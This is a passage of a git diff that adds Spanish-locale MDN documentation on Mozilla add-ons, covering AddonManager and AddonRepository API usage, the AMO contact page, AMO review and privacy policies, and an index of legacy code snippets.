+<p>la informacion acerca de add-ons instalados puede ser recuperada a traves de main <code><a href="/es/Add-ons/Add-on_Manager/AddonManager" title="AddonManager">AddonManager</a></code> API. Todas sus funciones son asincronas, significando que una funcion de devolucion de llamada debe ser pasada para recibir las instancias de <code><a href="/es/Add-ons/Add-on_Manager/Addon" title="Addon">Addon</a></code>. La devolucion de llamada puede solamente ser llamada despues de la funcion de retorno de la API . Por ejemplo:</p>
+
+<pre class="brush: js">Components.utils.import("resource://gre/modules/AddonManager.jsm");
+
+AddonManager.getAllAddons(function(aAddons) {
+  // Here aAddons is an array of <code><a href="/es/Add-ons/Add-on_Manager/Addon" title="Addon">Addon</a></code> objects
+});
+// This code will execute before the code inside the callback
+</pre>
+
+<p>Notificaciones acerca de cambios de add-ons instalados se envian a cualquier <code><a href="/es/Add-ons/Add-on_Manager/AddonListener" title="AddonListener">AddonListener</a></code> registrado. Deben ser registrados a traves del metodo <code><a href="/es/Add-ons/Add-on_Manager/AddonManager#addAddonListener()" title="AddonManager.addAddonListener()">addAddonListener()</a></code>.</p>
+
+<h2 id="Instalando_Nuevos_add-ons">Instalando Nuevos add-ons</h2>
+
+<p>Nuevos add-ons pueden ser instalados usando los metodos <code><a href="/es/Add-ons/Add-on_Manager/AddonManager#getInstallForFile()" title="AddonManager.getInstallForFile()">getInstallForFile()</a></code> o <code><a href="/es/Add-ons/Add-on_Manager/AddonManager#getInstallForURL()" title="AddonManager.getInstallForURL()">getInstallForURL()</a></code> del objeto <code><a href="/es/Add-ons/Add-on_Manager/AddonManager" title="AddonManager">AddonManager</a></code>. Estos pasaran una instancia de <code><a href="/es/Add-ons/Add-on_Manager/AddonInstall" title="AddonInstall">AddonInstall</a></code> al invocador, el cual puede ser usado para instaladar add-ons:</p>
+
+<pre class="brush: js">Components.utils.import("resource://gre/modules/AddonManager.jsm");
+
+AddonManager.getInstallForURL("http://www.foo.com/test.xpi", function(aInstall) {
+  // aInstall is an instance of <code><a href="/es/Add-ons/Add-on_Manager/AddonInstall" title="AddonInstall">AddonInstall</a></code>
+  aInstall.install();
+}, "application/x-xpinstall");
+</pre>
+
+<p>El progreso de  <code><a href="/es/Add-ons/Add-on_Manager/AddonInstall" title='AddonInstall"'>AddonInstall</a></code> puede ser monitoreado usando <code><a href="/es/Add-ons/Add-on_Manager/InstallListener" title="InstallListener">IntallListener</a></code>. Un escucha puede ser registrado por el uso especifico de un metodo  <code><a href="/es/Add-ons/Add-on_Manager/AddonInstall#addListener()" title="AddonInstall.addListener()">addListener()</a></code> o por todas las instalaciones usando el metodo <code><a href="/es/Add-ons/Add-on_Manager/AddonManager#addInstallListener()" title="AddonManager.addInstallListener()">addInstallListener()</a></code>.</p>
+
+<h2 id="Encontrando_updates">Encontrando updates</h2>
+
+<p>Add-ons pueden ser chekeados por updates usando el metodo <code><a href="/es/Add-ons/Add-on_Manager/Addon#findUpdates()" title="Addon.findUpdates()">findUpdates()</a></code>. Debe pasarse como parametro un  <code><a href="/es/Add-ons/Add-on_Manager/UpdateListener" title="UpdateListener">UpdateListener</a></code> para recibir informacion acerca de la compatibilidad asi como tambien la informacion acerca la nueva actualizacion. Cualquier nueva actualizacion es retornada como un <code><a href="/es/Add-ons/Add-on_Manager/AddonInstall" title="AddonInstall">AddonInstall</a></code> el cual esta listo para ser descargado e instalado.</p>
+
+<p>{{ h1_gecko_minversion("Detectando cambios en los add-ons", "7.0") }}</p>
+
+<p>Tambien puedes conseguir una lista de add-ons que al iniciar fueron modificados de varias maneras. El metodo  <code><a href="/es/Add-ons/Add-on_Manager/AddonManager#getStartupChanges()" title="AddonManager.getStartupChanges()">getStartupChanges()</a></code>  permite encontrar que add-ons fueron instalados, eliminados, modificados, habilitados o deshabilitados al iniciar la aplicacion.</p>
+
+<p>Por ejemplo, para saber los add-ons que fueron deshabilitados al iniciar la aplicacion se utilizaria:</p>
+
+<pre class="brush: js">Components.utils.import("resource://gre/modules/AddonManager.jsm");
+
+let addonIDs = AddonManager.getStartupChanges(AddonManager.STARTUP_CHANGE_DISABLED);
+if (addonIDs.length &gt; 0) {
+  // addonIDs is now an array of the add-on IDs that have been disabled
+alert("Note: " + addonIDs.length + " add-ons have been disabled.");
+}
+</pre>
+
+<h2 id="Vease">Vease</h2>
+
+<p>{{ ListSubpages() }}</p>
diff --git a/files/es/mozilla/add-ons/add-on_repository/index.html b/files/es/mozilla/add-ons/add-on_repository/index.html
new file mode 100644
index 0000000000..0ef9c73f61
--- /dev/null
+++ b/files/es/mozilla/add-ons/add-on_repository/index.html
@@ -0,0 +1,159 @@
+---
+title: Add-on Repository
+slug: Mozilla/Add-ons/Add-on_Repository
+translation_of: Mozilla/JavaScript_code_modules/Add-on_Repository
+---
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p> </p>
+
+<p>El repositorio Add-on es responsable de encontrar complementos disponibles, este provee una interface para interactuar con la página <a href="http://addons.mozilla.org" title="http://addons.mozilla.org/">addons.mozilla.org</a> (AMO). Su API provee varias URL que se puede visitar para explorar los complementos del repositorio. El API también ofrece dos formas de buscar y recuperar un vector de <code><a href="/es/docs/Mozilla/Add-ons/Add-on_Manager/Addon">Addon</a></code> instancias: {{ manch("retrieveRecommendedAddons") }}, la cual retorna una lista de complementos recomendados  y {{ manch("searchAddons") }}, el cual realiza una búsqueda en el repositorio.</p>
+
+<p>Estas búsquedas son asíncronas, los resultados se pasan al objeto SearchCallback proporcionado cuando se completa la búsqueda. Los resultados pasados al objeto SearchCallback solo incluyen complementos que son compatibles con la aplicación actual y que aún no están instalados o en proceso de instalación. AddonRepository solo puede procesar una búsqueda a la vez. Una nueva búsqueda fallará inmediatamente si el AddonRepository ya está manejando otra solicitud de búsqueda.</p>
+
+<p>Para importar el módulo de código del Repositorio Add-on , use:</p>
+
+<p> </p>
+
+<pre>Components.utils.import("resource://gre/modules/AddonRepository.jsm");
+</pre>
+
+<h2 id="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>string <a href="#getRecommendedURL()">getRecommendedURL</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code>string <a href="#getSearchURL()">getSearchURL</a>(in string searchTerms)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#cancelSearch()">cancelSearch</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#retrieveRecommendedAddons()">retrieveRecommendedAddons</a>(in integer maxResults, in <a href="/en/Addons/Add-on_Repository/SearchCallback" title="en/Addons/Add-on Repository/SearchCallback">SearchCallback</a> callback)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#searchAddons()">searchAddons</a>(in string searchTerms, in integer maxResults, in <a href="/en/Addons/Add-on_Repository/SearchCallback" title="en/Addons/Add-on Repository/SearchCallback">SearchCallback</a> callback)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>homepageURL</code></td>
+   <td><code>string</code></td>
+   <td>The URL of the repository site's home page.</td>
+  </tr>
+  <tr>
+   <td><code>isSearching</code></td>
+   <td><code>boolean</code></td>
+   <td><code>true</code> if a search is currently in progress; otherwise <code>false</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="getRecommendedURL()">getRecommendedURL()</h3>
+
+<p>Returns the URL that can be visited to see recommended add-ons.</p>
+
+<pre>string getRecommendedURL();</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value">Return value</h6>
+
+<p>An URL indicating the repository's page of recommended add-ons.</p>
+
+<h3 id="getSearchURL()">getSearchURL()</h3>
+
+<p>Returns an URL of a web page that can be visited to see search results for the specified search terms.</p>
+
+<pre>string getSearchURL(
+  in string searchTerms
+);</pre>
+
+<h6 id="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>searchTerms</code></dt>
+ <dd>Search terms used to search the repository.</dd>
+</dl>
+
+<h6 id="Return_value_2">Return value</h6>
+
+<p>The URL of the search results page for the specified search terms.</p>
+
+<h3 id="cancelSearch()">cancelSearch()</h3>
+
+<p>Cancels the search in progress. Does nothing if there is no search in progress.</p>
+
+<pre>void cancelSearch();</pre>
+
+<h6 id="Parameters_3">Parameters</h6>
+
+<p>None.</p>
+
+<h3 id="retrieveRecommendedAddons()">retrieveRecommendedAddons()</h3>
+
+<p>Begins a search for recommended add-ons in the repository. The list of recommended add-ons frequently changes. Results will be passed to the given <code><a href="/en/Addons/Add-on_Repository/SearchCallback" title="en/Addons/Add-on Repository/SearchCallback">SearchCallback</a></code> callback.</p>
+
+<pre>void retrieveRecommendedAddons(
+  in integer maxResults,
+  in SearchCallback callback
+);</pre>
+
+<h6 id="Parameters_4">Parameters</h6>
+
+<dl>
+ <dt><code>maxResults</code></dt>
+ <dd>The maximum number of results to return.</dd>
+ <dt><code>callback</code></dt>
+ <dd>The <code><a href="/en/Addons/Add-on_Repository/SearchCallback" title="en/Addons/Add-on Repository/SearchCallback">SearchCallback</a></code> callback to which results will be delivered.</dd>
+</dl>
+
+<h3 id="searchAddons()">searchAddons()</h3>
+
+<p>Begins a search for add-ons in this repository. Results will be passed to the given callback.</p>
+
+<pre>string searchAddons(
+  in string searchTerms,
+  in integer maxResults,
+  in SearchCallback callback
+);</pre>
+
+<h6 id="Parameters_5">Parameters</h6>
+
+<dl>
+ <dt><code>searchTerms</code></dt>
+ <dd>The search terms to pass to AMO. The results will match what you would get if you typed this string in the search box on the AMO web site.</dd>
+ <dt><code>maxResults</code></dt>
+ <dd>The maximum number of results to return.</dd>
+ <dt><code>callback</code></dt>
+ <dd>The <code><a href="/en/Addons/Add-on_Repository/SearchCallback" title="en/Addons/Add-on Repository/SearchCallback">SearchCallback</a></code> callback to pass results to.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/Addons/Interfacing_with_the_Add-on_Repository" title="en/Addons/Interfacing with the Add-on Repository">Interfacing with the Add-on Repository</a></li>
+</ul>
+
+<dl>
+</dl>
+
+<dl>
+</dl>
diff --git a/files/es/mozilla/add-ons/amo/index.html b/files/es/mozilla/add-ons/amo/index.html
new file mode 100644
index 0000000000..0845e54e3d
--- /dev/null
+++ b/files/es/mozilla/add-ons/amo/index.html
@@ -0,0 +1,11 @@
+---
+title: AMO
+slug: Mozilla/Add-ons/AMO
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Add-ons/AMO
+---
+<p>{{AddonSidebar}}</p>
+
+<p>Content to be added.</p>
diff --git a/files/es/mozilla/add-ons/amo/policy/contacto/index.html b/files/es/mozilla/add-ons/amo/policy/contacto/index.html
new file mode 100644
index 0000000000..be8cdd9998
--- /dev/null
+++ b/files/es/mozilla/add-ons/amo/policy/contacto/index.html
@@ -0,0 +1,26 @@
+---
+title: Información de contacto de AMO
+slug: Mozilla/Add-ons/AMO/Policy/Contacto
+translation_of: Mozilla/Add-ons#Contact_us
+---
+<p>{{AddonSidebar}}</p>
+
+<p>Gracias por tu interés en contactar al equipo de Extensiones de Mozilla. Por favor lee esta página cuidadosamente para asegurarte de que tu solicitud se dirija al lugar correcto.</p>
+
+<h4 id="Soporte_de_Complementos">Soporte de Complementos</h4>
+
+<p>SI tienes alguna pregunta de soporte con respecto a un complemento en particular, tal como "¿Cómo utilizo este complemento?" o "¿Por qué no funciona de manera apropiada?", por favor contacta al autor del complemento a través de los canales de soporte listados en la página de listado de extensiones.</p>
+
+<h4 id="Preguntas_sobre_la_Revisión_de_Complementos">Preguntas sobre la Revisión de Complementos</h4>
+
+<p>Si tienes alguna pregunta acerca de la revisión de un complemento o deseas reportar una violación de políticas, por favor escríbenos a <a href="mailto:amo-editors@mozilla.org">amo-editors@mozilla.org</a>. <strong>Casi todos los reportes de complementos se incluyen bajo esta categoría.</strong> Por favor, asegúrate de incluir un enlace al complemento en cuestión y una descripción detallada de tu pregunta o duda.</p>
+
+<h4 id="Vulnerabilidades_de_Seguridad_de_un_Complemento">Vulnerabilidades de Seguridad de un Complemento</h4>
+
+<p>Si has descubierto una vulnerabilidad de seguridad en un complemento, incluso si no está alojado aquí, Mozilla está muy interesada en tu descubrimiento y trabajará con el desarrollador del complemento para corregir el problema lo más pronto posible. Los problemas de seguridad de complementos pueden ser reportados <a href="http://www.mozilla.org/projects/security/security-bugs-policy.html">confidencialmente</a> en <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=addons.mozilla.org&amp;component=Add-on%20Security&amp;maketemplate=Add-on%20Security%20Bug&amp;bit-23=1&amp;rep_platform=All&amp;op_sys=All">Bugzilla</a> o por e-mail mediante <a href="mailto:amo-admins@mozilla.org">amo-admins@mozilla.org</a>.</p>
+
+<h4 id="Funcionalidad_y_Desarrollo_del_Sitio_Web">Funcionalidad y Desarrollo del Sitio Web</h4>
+
+<p>Si has encontrado un problema con el sitio, nos gustaría solucionarlo. Por favor <a href="https://github.com/mozilla/addons/issues/new">reporta un informe de error</a> en Github, incluyendo la localización del problema y cómo lo encontraste.</p>
+
+<p><span class="comment seoSummary">How to get in touch with us regarding these policies or your add-on. </span></p>
diff --git a/files/es/mozilla/add-ons/amo/policy/index.html b/files/es/mozilla/add-ons/amo/policy/index.html
new file mode 100644
index 0000000000..5fffee1dc8
--- /dev/null
+++ b/files/es/mozilla/add-ons/amo/policy/index.html
@@ -0,0 +1,21 @@
+---
+title: AMO Policies
+slug: Mozilla/Add-ons/AMO/Policy
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Add-ons/AMO/Policy
+---
+<p>{{AddonSidebar}}</p>
+
+<p>Mozilla is committed to ensuring a great add-ons experience for our users and developers. Please review the policies below before submitting your add-on.</p>
+
+<dl>
+ <dd></dd><dt><a href="/Mozilla/Add-ons/AMO/Policy/Agreement">Developer Agreement</a></dt>
+<dd>Effective January 5, 2016</dd> <dt><a href="/Mozilla/Add-ons/AMO/Policy/Reviews">Review Process</a></dt>
+<dd>Add-ons extend the core capabilities of Firefox, allowing users to modify and personalize their Web experience. A healthy add-on ecosystem, built on trust, is vital for developers to be successful and users to feel safe making Firefox their own. For these reasons, Mozilla requires all add-ons to comply with the following set of policies on acceptable practices. The below is not intended to serve as legal advice, nor is it intended to serve as a comprehensive list of terms to include in your add-on’s privacy policy.</dd> <dt><a href="/Mozilla/Add-ons/AMO/Policy/Featured">Featured Add-ons</a></dt>
+<dd>How up-and-coming add-ons become featured and what's involved in the process. </dd> <strong><a href="/en-US/Add-ons#Contact_us">Contacting us</a></strong>
+
+ <p>    How to get in touch with us regarding these policies or your add-on.</p>
+
+</dl>
diff --git a/files/es/mozilla/add-ons/amo/policy/revisiones/index.html b/files/es/mozilla/add-ons/amo/policy/revisiones/index.html
new file mode 100644
index 0000000000..1ae4eed402
--- /dev/null
+++ b/files/es/mozilla/add-ons/amo/policy/revisiones/index.html
@@ -0,0 +1,157 @@
+---
+title: Normativas para los complementos
+slug: Mozilla/Add-ons/AMO/Policy/Revisiones
+translation_of: Mozilla/Add-ons/AMO/Policy/Reviews
+---
+<p>{{AddonSidebar}}</p>
+
+<p>Add-ons extend the core capabilities of Firefox, allowing users to modify and personalize their Web experience. A healthy add-on ecosystem, built on trust, is vital for developers to be successful and users to feel safe making Firefox their own. For these reasons, Mozilla requires all add-ons to comply with the following set of policies on acceptable practices. The below is not intended to serve as legal advice, nor is it intended to serve as a comprehensive list of terms to include in your add-on’s privacy policy.</p>
+
+<p>All add-ons are subject to these policies, regardless of how they are distributed. Add-ons that do not comply with these policies may be subject to rejection or disabling by Mozilla.</p>
+
+<h2 id="No_Surprises">No Surprises</h2>
+
+<p>Surprises can be appropriate in many situations, but they are not welcome when user security, privacy and control are at stake. It is extremely important to be as transparent as possible when submitting an add-on. Users should be able to easily discern what the functionality of your add-on is and not be presented with unexpected user experiences after installing it.</p>
+
+<h3 id="Unexpected_Features">Unexpected Features</h3>
+
+<p>“Unexpected” features are those that are unrelated to the add-on’s primary function, and are not likely from the add-on name or description to be expected by a user installing that add-on.</p>
+
+<p>Should an add-on include any unexpected feature that falls into one of the following categories:</p>
+
+<ul>
+ <li>Potentially compromises user privacy or security (like sending data to third parties)</li>
+ <li>Changes default settings like the new tab page, homepage or search engine</li>
+ <li>Makes unexpected changes to the browser or web content</li>
+ <li>Includes features or functionality not related to the add-on’s core function(s)</li>
+</ul>
+
+<p>Then the “unexpected” feature(s) must adhere to all of the following requirements:</p>
+
+<ul>
+ <li>The add-on description must clearly state what changes the add-on makes.</li>
+ <li>All changes must be “opt-in”, meaning the user has to take non-default action to enact the change. Changes that prompt users via the permissions system don’t require an additional opt-in.</li>
+ <li>The opt-in interface must clearly state the name of the add-on requesting the change.</li>
+</ul>
+
+<h2 id="Content">Content</h2>
+
+<p>Add-ons that make use of Mozilla trademarks must comply with the <a href="https://www.mozilla.org/en-US/foundation/trademarks/policy/">Mozilla Trademark Policy</a>. If the add-on uses “Firefox” in its name, the naming standard the add-on is expected to follow is “&lt;Add-on name&gt; for Firefox”.</p>
+
+<p>In addition, add-ons listed on addons.mozilla.org (AMO) must adhere to the following policies:</p>
+
+<ul>
+ <li>All add-ons submitted for listing on AMO are subject to Mozilla’s <a href="https://www.mozilla.org/en-US/about/legal/acceptable-use/">Conditions of Use</a>.</li>
+ <li>Add-ons must disclose when payment is required to enable any functionality.</li>
+ <li>Any add-ons, or add-on content, hosted on Mozilla site(s) must conform to the laws of the United States.</li>
+ <li>The add-on listing should have an easy-to-read description about everything it does, and any information it collects. Please consult our best practices guide for <a href="https://developer.mozilla.org/en-US/Add-ons/Listing">creating an appealing listing</a>.</li>
+ <li>Add-ons that are intended for internal or private use, or for distribution testing may not be listed on AMO. Such add-ons may be <a href="https://developer.mozilla.org/en-US/Add-ons/Distribution#Self-distributed_(unlisted)_versions">uploaded for self-distribution</a> instead.</li>
+ <li>If the add-on is a fork of another add-on, the name must clearly distinguish it from the original and provide a significant difference in functionality and/or code.</li>
+</ul>
+
+<h2 id="Submission_Guidelines">Submission Guidelines</h2>
+
+<p>Add-ons must function only as described, and should provide an appealing user experience. Based on the description of the add-on, a user must be able to understand and use the add-on’s features without requiring expert knowledge. Tips on how to create a good user experience for your add-on can be found <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/User_experience_best_practices">here</a>.</p>
+
+<p>During review, the add-on undergoes basic testing in addition to code review. To facilitate the functional testing, the add-on author must provide testing information and, if applicable, testing credentials required to use the add-on if an account is needed for any part of the add-on’s functionality.</p>
+
+<p>Issues brought up during review must be addressed using best efforts. If corrections have been requested, the new version should not contain unrelated changes, as this complicates the review process and can lead to further rejections.</p>
+
+<h3 id="Source_Code_Submission">Source Code Submission</h3>
+
+<p>Add-ons may contain transpiled, obfuscated, minified or otherwise machine-generated code, but Mozilla needs to review a copy of the human-readable source code. The author must provide this information to Mozilla during submission as well as instructions on how to reproduce the build.</p>
+
+<p>The provided source code will be reviewed by an administrator and will not be redistributed in any way. The code will only be used for the purpose of reviewing the add-on. Failure to provide this information will result in rejection.</p>
+
+<p>Please read our <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Source_Code_Submission">Source Code Submission guidelines</a> to avoid unexpected rejections.</p>
+
+<h2 id="Development_Practices">Development Practices</h2>
+
+<p>In general, developers are free to maintain their add-ons in the manner they choose. However, in order to maintain appropriate data security and effectively review code, we do have certain technical requirements that all add-ons must meet. In particular, potentially dangerous APIs may only be used in ways that are demonstrably safe, and code within add-ons that cannot be verified as behaving safely and correctly may need to be refactored.</p>
+
+<p>While any code, method or practice in a submitted add-on is subject to review and rejection, the following requirements are of particular importance:</p>
+
+<ul>
+ <li>Add-ons must only request those permissions that are necessary for function</li>
+ <li>Add-ons must be self-contained and not load remote code for execution</li>
+ <li>Add-ons must use encrypted channels for sending sensitive user data</li>
+ <li>Add-ons should avoid including duplicate or unnecessary files</li>
+ <li>Add-on code must be written in a way that is reviewable and understandable. Reviewers may ask you to refactor parts of the code if it is not reviewable.</li>
+ <li>Add-ons must not negatively impact the performance or stability of Firefox.</li>
+ <li>Only release versions of third-party libraries and/or frameworks may be included with an add-on. Modifications to these libraries/frameworks are not permitted.</li>
+</ul>
+
+<h2 id="Data_Disclosure_Collection_and_Management">Data Disclosure, Collection and Management</h2>
+
+<p>You must disclose how the add-on collects, uses, stores and shares user data in the privacy policy field on AMO. Mozilla expects that the add-on limits data collection whenever possible, in keeping with Mozilla’s <a href="https://www.mozilla.org/en-US/about/policy/lean-data/">Lean Data Practices</a> and Mozilla’s <a href="https://www.mozilla.org/en-US/privacy/principles/">Data Privacy Principles</a>, and uses the data only for the purpose for which it was originally collected.</p>
+
+<p>User data includes all information the add-on collects, regardless of the manner. It can be personal data actively provided by the user (such as a name or email address), technical data (such as operating system, build ID, version numbers, crash reports, activation, updates), and interaction or activity data (add-on activity data, visited URLs, console logs), including interactions with Firefox.</p>
+
+<p>The add-on’s privacy policy must be the full policy text; it cannot be a link to an externally hosted privacy policy. In addition, the privacy policy must:</p>
+
+<ul>
+ <li>be specific and exclusive to the add-on,</li>
+ <li>clearly describe the purpose of the data collection,</li>
+ <li>set forth the exact data to be collected,</li>
+ <li>address the add-on’s particular privacy properties.</li>
+</ul>
+
+<p>A summary of this information must be included in the add-on’s listing description. Finally, you and your add-on must also comply with all applicable data privacy laws as well as any other laws that may apply to your specific add-on.</p>
+
+<h3 id="User_Interactions_Technical_Data">User Interactions &amp; Technical Data</h3>
+
+<ul>
+ <li>Users must be provided a clear way to control this data collection. The control mechanism must be shown during the installation process of the add-on.</li>
+ <li>Add-ons must only collect information about add-on performance and/or use.</li>
+ <li>Collecting ancillary information (e.g. any data not explicitly required for the add-on’s basic functionality) is prohibited.</li>
+</ul>
+
+<h3 id="Cookies">Cookies</h3>
+
+<ul>
+ <li>If your add-on installs cookies, this must also be disclosed in the add-on’s privacy policy.</li>
+ <li>The add-on privacy policy must clearly express the placing and purposes of the cookie(s). It is highly recommended that you disclose the types of cookies being used.</li>
+ <li>Users must be provided an opportunity to refuse the storage of or access to cookies, and must be informed of the consequences of doing so (e.g., without a functional cookie, the add-on may not work).</li>
+ <li>Installing cookies that are not explicitly required for the add-on’s functionality is prohibited.</li>
+</ul>
+
+<h3 id="Personal_Data">Personal Data</h3>
+
+<ul>
+ <li>If you are collecting any personal information, the users must provide affirmative consent (i.e., explicit opt-in from the user). It must be clear to the user that they give consent to the collection of personal data.</li>
+ <li>Collecting ancillary personal information (e.g., any data not explicitly required for the add-on’s basic functionality) is prohibited.</li>
+ <li>Any transmission of this type of data must use secure, encrypted connections.</li>
+</ul>
+
+<h3 id="Additional_Privacy_Protocols">Additional Privacy Protocols</h3>
+
+<ul>
+ <li>Leaking local or user-sensitive information to websites or other processes (e.g., using native messaging) is prohibited.</li>
+ <li>If the add-on uses native messaging, the privacy policy must clearly disclose which information is being exchanged with the native application. Data exchanged with the native application must be in accordance with our No Surprises policy.</li>
+ <li>HTTPS must be used for security and privacy-sensitive operations such as transmitting passwords or tokens.</li>
+ <li>Browsing data from private browsing sessions must not be stored.</li>
+ <li>Identity information must not be leaked to web content in private browsing sessions.</li>
+</ul>
+
+<h2 id="Security_Vulnerabilities">Security Vulnerabilities</h2>
+
+<p>Because add-ons run in an environment with elevated privileges relative to ordinary web pages, they present a very serious set of security considerations. They have the potential to open security holes not only in the add-ons themselves, but also in the browser, in web pages, and, in particularly distressing cases, the entire system the browser is running on.</p>
+
+<p>As a result, we take our security policies very seriously and apply them to all add-ons, whether hosted on AMO or not. We expect all add-ons to be secure and well-maintained in handling both their own data and their user’s data. They must also securely manage all of their interactions with the web, the browser and the operating system.</p>
+
+<h2 id="Monetization">Monetization</h2>
+
+<ul>
+ <li>Monetization mechanisms must comply with the policies in the <em>Data Disclosure, Collection and Management</em> section. In particular, an add-on must be accompanied with a clear user control mechanism (and opt-in for personal data) presented during the installation or update process of the add-on. Collecting ancillary information for monetization is prohibited.</li>
+ <li>An add-on injecting advertising into web page content must clearly identify the injected content as originating from the add-on.</li>
+ <li>The inclusion of any cryptocurrency miners or similar functionality in an add-on is prohibited.</li>
+ <li>Modifying web content or facilitating redirects to include affiliate promotion tags is not permitted. Conversely, the use of affiliate promotion in user interface elements clearly identified as belonging to the add-on are acceptable.</li>
+</ul>
+
+<h2 id="Compliance_Blocklisting">Compliance &amp; Blocklisting</h2>
+
+<p>For add-ons that don’t meet these policies, Mozilla may reject or blocklist affected versions or entire add-ons, depending on the extent of their non-compliance.</p>
+
+<p>Generally, Mozilla will attempt to contact the add-on’s developer(s) and provide a reasonable time frame for the problems to be corrected before a block is deployed. If an add-on is considered malicious or its developers have proven unreachable or unresponsive, or in case of repeat violations, blocklisting may be immediate.</p>
+
+<p>Mozilla reserves the right to block or delete the developer’s account on addons.mozilla.org, thereby preventing further use of the service.</p>
diff --git a/files/es/mozilla/add-ons/code_snippets/index.html b/files/es/mozilla/add-ons/code_snippets/index.html
new file mode 100644
index 0000000000..1d5fd8b90d
--- /dev/null
+++ b/files/es/mozilla/add-ons/code_snippets/index.html
@@ -0,0 +1,138 @@
+---
+title: Code snippets
+slug: Mozilla/Add-ons/Code_snippets
+tags:
+  - Add-ons
+  - Code snippets
+  - Extensions
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Add-ons/Code_snippets
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p><span style="color: #000000; display: inline !important; float: none; font-family: Cantarell; font-size: 14.666666984558105px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">{{LegacyAddonsNotice}}</span></p>
+
+<p>This is a quick list of useful code snippets (small code samples) available for developers of extensions for the various Mozilla applications. Many of these samples can also be used in XULRunner applications, as well as in actual Mozilla code itself.</p>
+
+<p>These examples demonstrate how to accomplish basic tasks that might not be immediately obvious.</p>
+
+<h2 id="General" name="General">General</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Code_snippets/From_articles" title="/en-US/docs/Code_snippets/From_articles">Examples and demos from MDN articles</a></dt>
+ <dd>A collection of examples and demos from articles.</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Windows" title="/en-US/docs/Code_snippets/Windows">Window code</a></dt>
+ <dd>Opening and manipulating windows</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Toolbar" title="/en-US/docs/Code_snippets/Toolbar">Toolbar</a></dt>
+ <dd>Toolbar related code</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Sidebar" title="/en-US/docs/Code_snippets/Sidebar">Sidebar</a></dt>
+ <dd>Sidebar related code</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Forms">Forms</a></dt>
+ <dd>Forms related code</dd>
+ <dt><a href="/en-US/docs/Code_snippets/XML" title="/en-US/docs/Code_snippets/XML">XML</a></dt>
+ <dd>Code used to parse, write, manipulate, etc. XML</dd>
+ <dt><a href="/en-US/docs/Code_snippets/File_I_O" title="/en-US/docs/Code_snippets/File_I/O">File I/O</a></dt>
+ <dd>Code used to read, write and process files</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Drag_&amp;_Drop" title="/en-US/docs/Code_snippets/Drag_&amp;_Drop">Drag &amp; Drop</a></dt>
+ <dd>Code used to setup and handle drag and drop events</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Dialogs_and_Prompts" title="/en-US/docs/Code_snippets/Dialogs_and_Prompts">Dialogs</a></dt>
+ <dd>Code used to display and process dialog boxes</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Alerts_and_Notifications" title="/en-US/docs/Code snippets/Alerts and Notifications">Alerts and Notifications </a></dt>
+ <dd>Modal and non-modal ways to notify users</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Preferences" title="/en-US/docs/Code_snippets/Preferences">Preferences</a></dt>
+ <dd>Code used to read, write, and modify preferences</dd>
+ <dt><a href="/en-US/docs/Code_snippets/JS_XPCOM" title="/en-US/docs/Code_snippets/JS_XPCOM">JS XPCOM</a></dt>
+ <dd>Code used to define and call XPCOM components in JavaScript</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Running_applications" title="/en-US/docs/Code_snippets/Running_applications">Running applications</a></dt>
+ <dd>Code used to run other applications</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Canvas" title="/en-US/docs/Code_snippets/Canvas"><code>&lt;canvas&gt;</code> related</a></dt>
+ <dd><a href="/en-US/docs/HTML/Canvas" title="/en-US/docs/HTML/Canvas">WHAT WG Canvas</a>-related code</dd>
+ <dt><a href="/en-US/docs/Signing_a_XPI" title="/en-US/docs/Signing_a_XPI">Signing a XPI</a></dt>
+ <dd>How to sign an XPI with PKI</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Threads">Delayed Execution</a></dt>
+ <dd>Performing background operations.</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Miscellaneous" title="/en-US/docs/Code_snippets/Miscellaneous">Miscellaneous</a></dt>
+ <dd>Miscellaneous useful code fragments</dd>
+ <dt><a href="/en-US/docs/Code_snippets/HTML_to_DOM" title="/en-US/docs/Code_snippets/HTML_to_DOM">HTML to DOM</a></dt>
+ <dd>Using a hidden browser element to parse HTML to a window's DOM</dd>
+</dl>
+
+<h2 id="javascript-libraries" name="javascript-libraries">JavaScript libraries</h2>
+
+<p>Here are some JavaScript libraries that may come in handy.</p>
+
+<dl>
